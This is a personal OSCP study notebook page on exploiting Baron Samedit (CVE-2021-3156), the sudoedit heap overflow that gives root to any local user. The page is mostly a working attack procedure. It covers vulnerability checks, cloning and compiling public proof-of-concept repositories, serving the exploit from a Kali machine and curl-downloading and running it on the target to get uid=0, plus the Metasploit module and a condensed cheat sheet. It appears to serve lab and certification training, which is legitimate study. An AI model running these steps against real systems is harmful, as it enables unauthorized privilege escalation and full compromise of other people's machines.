Pearson's OSCP Notebook

Baron Samedit - CVE-2021-3156

Properties1
tagsbaron-samedit, cve-2021-3156, sudo, sudoedit, privesc, linux, oscp

3 min read

Baron Samedit — CVE-2021-3156

Ctrl+F: Baron Samedit · CVE-2021-3156 · sudoedit -s · heap overflow

Baron Samedit — heap-based buffer overflow in sudo / sudoedit. Any local user → root — even if not in sudoers. Very common on 2021–2022 Ubuntu/Debian lab images.

Not a kernel exploit — userspace sudo. Different from pkexec - CVE-2021-4034 PwnKit (polkit) and sudo NOPASSWD abuse.

→ Linux > 📌 9) Kernel Exploits · sudo · linux-exploit-suggester

📌 When to try

SignalCheck
Vulnerable sudo versionsudo -V → 1.8.2–1.8.31p2 or 1.9.0–1.9.5p1
Quick crash testsudoedit -s / — vulnerable if sudoedit: usage error (not /:)
LES / LinPEASCVE-2021-3156
sudo -l emptyStill exploitable — no sudoers needed
sudo -V
sudoedit -s / 2>&1 | head -1
# Vulnerable: "sudoedit:" usage message
# Patched:    "/:" or "sudoedit: invalid option"

Patched: sudo ≥ 1.9.5p2 · Ubuntu 1.8.31-1ubuntu1.5+

Qualys advisory: CVE-2021-3156 Baron Samedit

📌 Reference links

ResourceURL
blasty PoCgithub.com/blasty/CVE-2021-3156
worawit (portable)github.com/worawit/CVE-2021-3156
Qualys write-upblog.qualys.com/…/baron-samedit

📌 Exploit — blasty PoC (OSCP default)

Requires on target: gcc, make, vulnerable sudo

Kali — download

git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
# Produces exploit binary per target — read README for distro match

Transfer → target → run

# Kali serve compiled binary or full repo
python3 -m http.server 8080
 
# Target
curl http://KALI:8080/exploit -o exploit
chmod +x exploit
./exploit
id
# uid=0(root)

worawit repo auto-computes offsets — better when exact distro unknown:

git clone https://github.com/worawit/CVE-2021-3156.git
cd CVE-2021-3156 && make
./sudo-hax-me-a-sandwich

→ File Transfer

📌 searchsploit / MSF

searchsploit CVE-2021-3156
searchsploit baron samedit
./linux-exploit-suggester.sh -f uname.txt -s CVE-2021-3156
use exploit/linux/local/sudo_baron_samedit
set SESSION 1
run

→ Post-Exploitation

📌 vs other sudo privesc

VectorNeeds sudoers?Mechanism
sudo -l NOPASSWDYesMisconfig / GTFOBins
Baron SameditNoHeap overflow in sudoedit
CVE-2019-14287 (sudo -1)Yes (specific rule)User ID -1 bypass → sudo CVE-2019-14287 - User ID -1 Bypass

Full sudo reference → sudo

📌 Troubleshooting

ProblemFix
Wrong exploit offsetsMatch Ubuntu/Debian version; try worawit PoC
gcc missingCompile on Kali for target libc/glibc version
SegfaultPatched sudo or wrong build — verify sudoedit -s / test
Already tried PwnKitDifferent bug — both can apply on same box

📌 Quick cheat sheet

sudo -V
sudoedit -s / 2>&1 | grep sudoedit
 
searchsploit CVE-2021-3156
git clone https://github.com/blasty/CVE-2021-3156.git && cd CVE-2021-3156 && make
./exploit
id

📌 Alias check (Linux/bash)

alias
alias | grep -iE 'sudo|root|pass|su |chmod'

Shell aliases may expose sudo shortcuts, paths to SUID binaries, or commands run as root — run on every Linux privesc pass.

→ Linux > 📌 1) Basic Manual Enumeration

Graph View

Backlinks